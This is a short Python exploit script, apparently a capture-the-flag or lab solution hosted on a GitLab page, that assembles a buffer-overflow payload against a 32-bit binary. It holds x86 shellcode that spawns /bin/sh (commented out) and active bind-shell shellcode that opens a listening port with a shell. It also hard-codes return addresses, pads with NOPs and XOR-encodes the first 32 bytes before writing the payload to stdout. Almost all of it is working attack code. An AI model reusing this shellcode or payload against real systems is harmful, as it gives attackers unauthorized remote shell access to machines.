Skip to content
Snippets Groups Projects
egg5 1.79 KiB
Newer Older
Recolic Keghart's avatar
Recolic Keghart committed
#!/usr/bin/python3

def fuck8(txt):
    assert(len(txt) == 8)
    return txt[6:8] + txt[4:6] + txt[2:4] + txt[0:2]

def revert(txt):
    assert(len(txt) % 8 == 0)
    res = ""
    for i in range(int(len(txt) / 8)):
        res += fuck8(txt[i*8:(i+1)*8])
    return res

######## run /bin/sh
##shellcode = "\x6a\x31\x58\xcd\x80\x89\xc3\x89\xc1\x6a\x46\x58\xcd\x80\x31\xc0\x50\x68\x2f\x2f\x73\x68\x68\x2f\x62\x69\x6e\x54\x5b\x50\x53\x89\xe1\x31\xd2\xb0\x0b\xcd\x80"
#shellcode = "6a3158cd8089c389c16a4658cd8031c050682f2f7368682f62696e545b505389e131d2b00bcd800a" # the length is 40byte, run /bin/sh
#shellcode_fill = "31" * (40 - int(len(shellcode)/2))
#
##payload = shellcode + shellcode_fill + revert('0804a790' + '08048928' + '0804892c' + '08048941')
#payload = shellcode + shellcode_fill + revert('0804a790' + '08048680' + '0804a790' + '08048949' + '0804a79c' + '31313131' + '0804893a')
#
#import binascii
#
#b = binascii.unhexlify(payload)
#b = bytes([byte^0x42 for byte in b[:32]]) + b[32:]
#
#with open('/dev/fd/1','wb') as f:
#    f.write(b)
#
##########

######### run bind

shellcode = "e8000000005883c03fffe0" # jmp to new_shellcode
nop = "90" * 5
new_shellcode = "e8ffffffffc35d8d6d4a31c0996a015b52536a02ffd5965b5266682b67665389e16a105156ffd543435256ffd543525256ffd59359b03fcd804979f9b00b52682f2f7368682f62696e89e35253eb045f6a665889e1cd8057c3"

shellcode_fill = "31" * (40 - int(len(shellcode)/2))

#payload = shellcode + shellcode_fill + revert('0804a790' + '08048928' + '0804892c' + '08048941')
payload = shellcode + shellcode_fill + revert('0804a790' + '08048680' + '0804a790' + '08048949' + '0804a79c' + '31313131' + '0804893a')
payload = payload + nop + new_shellcode

import binascii

b = binascii.unhexlify(payload)
b = bytes([byte^0x42 for byte in b[:32]]) + b[32:]

with open('/dev/fd/1','wb') as f:
    f.write(b)